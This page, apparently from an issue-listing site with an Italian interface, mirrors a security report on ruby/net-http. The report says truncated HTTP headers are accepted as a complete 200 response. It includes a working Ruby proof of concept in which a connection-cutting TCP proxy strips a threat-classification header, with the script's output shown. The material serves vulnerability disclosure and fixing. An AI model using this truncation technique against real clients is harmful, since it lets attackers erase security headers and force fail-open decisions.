Truncated HTTP responses are accepted as complete, letting a connection-cutter hide headers and bodies (fail-open)

Aperta
#377 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
3/5
Tempo stimato
1-2 giorni
Idoneità per principianti
57/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
ruby

Direzione di ricerca

Start at lib/net/http/response.rb:188, where the issue identifies the header reader, and trace how it handles EOF while reading the status line and headers. Check the existing response parsing tests for coverage of truncated headers and run the relevant tests. Done means an incomplete header section raises Net::HTTPBadResponse instead of returning a normal response.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

About

Title: Truncated HTTP responses are accepted as complete, letting a connection-cutter hide headers and bodies (fail-open)
Repository: ruby/net-http
Location: lib/net/http/response.rb:188
Severity: Medium
Impacted versions: 0.1.0, 0.10.0, HEAD (e686ee5)

Summary

The response header reader uses readuntil("\n", true) with ignore_eof set, so when the
peer closes the connection partway through the header section the read returns whatever
has been buffered and Net::HTTP treats that as the end of the headers. A partial final
line is even parsed as a header. RFC 9112 section 5.2 requires an incomplete message to be
reported as an error, but Net::HTTP returns a normal response object instead.

The ignore_eof setting is only consulted for a body that announced a Content-Length; it is
not consulted for headers. Setting http.ignore_eof = false therefore does not fix the
problem: a message that is cut inside the header section, or that has no Content-Length,
is still accepted. The result is a "successful" 200 whose later headers and entire body
have silently disappeared.

Impact

Anyone who can cut or reset a connection to the application, such as an off-path attacker
injecting TCP resets, an on-path attacker on plaintext HTTP, or a malicious or compromised
origin, load balancer, or CDN edge, can turn a truncated response into a complete one.
Applications that fail open on missing data then make the wrong decision: a
threat-intelligence verdict, a permission or authorization header, an integrity or
signature header, Content-Length, cache-control, or anti-framing headers can all be erased
while the client still reports 200. It also defeats any message-integrity check, because
the application cannot distinguish a complete response from a truncated one.

Mitigations

Requires an attacker able to cut the TCP connection (or a misbehaving server/load
balancer); HTTPS to a trusted origin with a verified certificate prevents the on-path
variant. Applications that never make security decisions on missing headers and that
validate bodies with length/checksum are less exposed, and ignore_eof = false only
raises for a truncated Content-Length body — not for headers. A correct client must not
pass ignore_eof when reading the status line or headers and must raise
Net::HTTPBadResponse if EOF is reached before the blank line, so a truncated message is
never accepted as complete.

Examples
example 1

A link-safety service asks its threat-intelligence backend about a URL and blocks only
when it sees X-Classification: malicious. An attacker resets the connection after the
first header, the verdict header and body vanish, Net::HTTP reports 200, and the service
allows the malicious link.

example 2

A service trusts a short-lived authentication or entitlement header on responses from an
internal API. A network attacker who can only inject RST packets truncates the response
before that header, causing the client to treat the request as
unauthenticated-but-successful rather than failing closed.

example 3

A content-integrity check compares a downloaded body against a signature header. A
truncated download is accepted as an empty 200, and the application caches or serves
incomplete content as if it were complete.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: a truncated HTTP response is accepted as complete (fail-open).
#
# Bug: lib/net/http/response.rb#each_response_header reads header lines with
# readuntil("\n", true) (ignore_eof), so when the connection dies inside the
# header section the partial line is parsed as a header and EOF is taken as
# the end of the headers.  RFC 9112 §5.2 requires an incomplete message to be
# reported as an error.  ignore_eof is never consulted for the header section.
#
# Scenario: before letting a user open a link, the app asks its threat-
# intelligence service; the service answers 200 with "X-Classification:
# malicious".  An on-path attacker that can cut the connection (plaintext
# HTTP, MITM, malicious load balancer) severs it after the first header line.
# Net::HTTP reports a complete 200 with no verdict, so the app lets the user
# through.  A real TCP proxy stands in for the attacker.
#
#   ruby truncated_poc.rb [REPO_ROOT]      (default /src)
#
# Exit 0 means the exploit worked.

REPO = File.expand_path(ARGV[0] || '/src')
ENV['BUNDLE_GEMFILE'] = File.join(REPO, 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(REPO, 'lib')

require 'socket'
require 'net/http'

src = Net::HTTPResponse.singleton_class.instance_method(:each_response_header).source_location.first
abort "not testing the repo copy (loaded #{src})" unless src.start_with?(REPO + '/')

BODY = '{"url":"http://evil.example","label":"phishing"}'

# The service's honest answer: this link is malicious, do not open it.
FULL_RESPONSE = "HTTP/1.1 200 OK\r\n" \
                "Content-Type: application/json\r\n" \
                "Content-Length: #{BODY.bytesize}\r\n" \
                "X-Classification: malicious\r\n" \
                "X-Model: classifier-7\r\n" \
                "\r\n" + BODY

# Where the attacker cuts the connection: after the first complete header
# line.  Content-Length, X-Classification and the body never reach the client.
CUT_AT = FULL_RESPONSE.index("Content-Type: application/json\r\n") +
         "Content-Type: application/json\r\n".bytesize

def read_until(io, marker, limit: 65_536, timeout: 5)
  buf = +''
  deadline = Time.now + timeout
  until buf.include?(marker) || buf.bytesize >= limit
    left = deadline - Time.now
    raise IOError, 'timeout' if left <= 0
    raise IOError, 'not ready' unless IO.select([io], nil, nil, left)
    buf << io.readpartial(65_536)
  end
  buf
end

# ---------------------------------------------------------------------------
# Live threat-intelligence origin
# ---------------------------------------------------------------------------
def start_origin
  srv = TCPServer.new('127.0.0.1', 0)
  thr = Thread.new do
    sock = srv.accept
    read_until(sock, "\r\n\r\n")
    sock.write(FULL_RESPONSE)
    sleep 0.3
    sock.close rescue nil
  end
  [srv, srv.addr[1], thr]
end

# ---------------------------------------------------------------------------
# The attacker: a real TCP proxy that forwards the request, then only the
# first cut_at bytes of the response, then closes the connection.
# ---------------------------------------------------------------------------
def start_cutting_proxy(upstream_port, cut_at)
  srv = TCPServer.new('127.0.0.1', 0)
  thr = Thread.new do
    client = srv.accept
    up = TCPSocket.new('127.0.0.1', upstream_port)
    up.write(read_until(client, "\r\n\r\n"))      # forward the whole request
    buf = +''
    buf << up.readpartial(65_536) while buf.bytesize < cut_at
    client.write(buf[0, cut_at])                 # forward the truncated reply
    client.close                                 # cut the connection
    up.close rescue nil
  rescue IOError, SystemCallError
    nil
  end
  [srv, srv.addr[1], thr]
end

# A strict RFC 9112 reader, to show what a conforming client does.
def strict_headers(bytes)
  head, sep = bytes.split("\r\n\r\n", 2)
  return 'protocol error: message ends inside the header section' unless sep
  head.split("\r\n").drop(1).inspect
end

def classify(port, ignore_eof:)
  http = Net::HTTP.new('127.0.0.1', port)
  http.ignore_eof = ignore_eof
  http.start { |h| h.request(Net::HTTP::Get.new('/classify?url=http://evil.example')) }
end

def attack_run(cut_at, ignore_eof)
  origin, origin_port, origin_thr = start_origin
  proxy, proxy_port, proxy_thr = start_cutting_proxy(origin_port, cut_at)
  res = classify(proxy_port, ignore_eof: ignore_eof)
  origin_thr.join(1)
  proxy_thr.join(1)
  [origin, proxy].each { |s| s.close rescue nil }
  res
end

# --- control: direct to the service, the app sees the verdict and blocks ----
origin, origin_port, origin_thr = start_origin
direct = classify(origin_port, ignore_eof: true)
origin_thr.join(1)
origin.close rescue nil
puts '== CONTROL - no attacker'
puts "   status: #{direct.code}, X-Classification: #{direct['x-classification'].inspect}"
puts "   app decision: #{direct['x-classification'] == 'malicious' ? 'BLOCK (correct)' : 'allow'}"
puts "   strict parser sees: #{strict_headers(FULL_RESPONSE)}"
puts

# --- attack: through the attacker's cutting proxy --------------------------
truncated = attack_run(CUT_AT, true)
truncated_strict = begin
  attack_run(CUT_AT, false)
rescue StandardError => e
  e
end

puts "== ATTACK - connection cut after #{CUT_AT} bytes of the response"
puts "   status: #{truncated.code}, X-Classification: #{truncated['x-classification'].inspect}, " \
     "body: #{truncated.body.inspect}"
puts "   headers seen: #{truncated.to_hash.keys.inspect}"
puts "   app decision: #{truncated['x-classification'] == 'malicious' ? 'BLOCK' : 'allow'}  <-- fail-open"
puts "   ignore_eof=false: status #{truncated_strict.respond_to?(:code) ? truncated_strict.code : truncated_strict.class}, " \
     "X-Classification: #{truncated_strict.respond_to?(:[]) ? truncated_strict['x-classification'].inspect : 'n/a'}"
puts "   strict parser on the same #{CUT_AT} bytes: #{strict_headers(FULL_RESPONSE[0, CUT_AT])}"
puts

if direct['x-classification'] == 'malicious' &&
   truncated.code == '200' && truncated['x-classification'].nil? && truncated.body.empty?
  puts 'EXPLOITED'
  puts '  * the response was cut inside its header section'
  puts '  * Content-Length, X-Classification and the body silently vanished'
  puts '  * Net::HTTP reported a complete 200 with an empty body instead of an error'
  puts '  * the app, which blocks only on "X-Classification: malicious", allowed the link'
  exit 0
end

warn 'NOT EXPLOITED'
exit 1
stdout
== CONTROL - no attacker
   status: 200, X-Classification: "malicious"
   app decision: BLOCK (correct)
   strict parser sees: ["Content-Type: application/json", "Content-Length: 48", "X-Classification: malicious", "X-Model: classifier-7"]

== ATTACK - connection cut after 49 bytes of the response
   status: 200, X-Classification: nil, body: ""
   headers seen: ["content-type"]
   app decision: allow  <-- fail-open
   ignore_eof=false: status 200, X-Classification: nil
   strict parser on the same 49 bytes: protocol error: message ends inside the header section

EXPLOITED
  * the response was cut inside its header section
  * Content-Length, X-Classification and the body silently vanished
  * Net::HTTP reported a complete 200 with an empty body instead of an error
  * the app, which blocks only on "X-Classification: malicious", allowed the link
Lingua principale
Ruby
Stelle
150
Fork
104
Merge medio
4g 6h
PR unite (30g)
10

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di ruby/net-http

Tutte le issue di ruby/net-http

Issue simili

Altre issue su Ruby

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.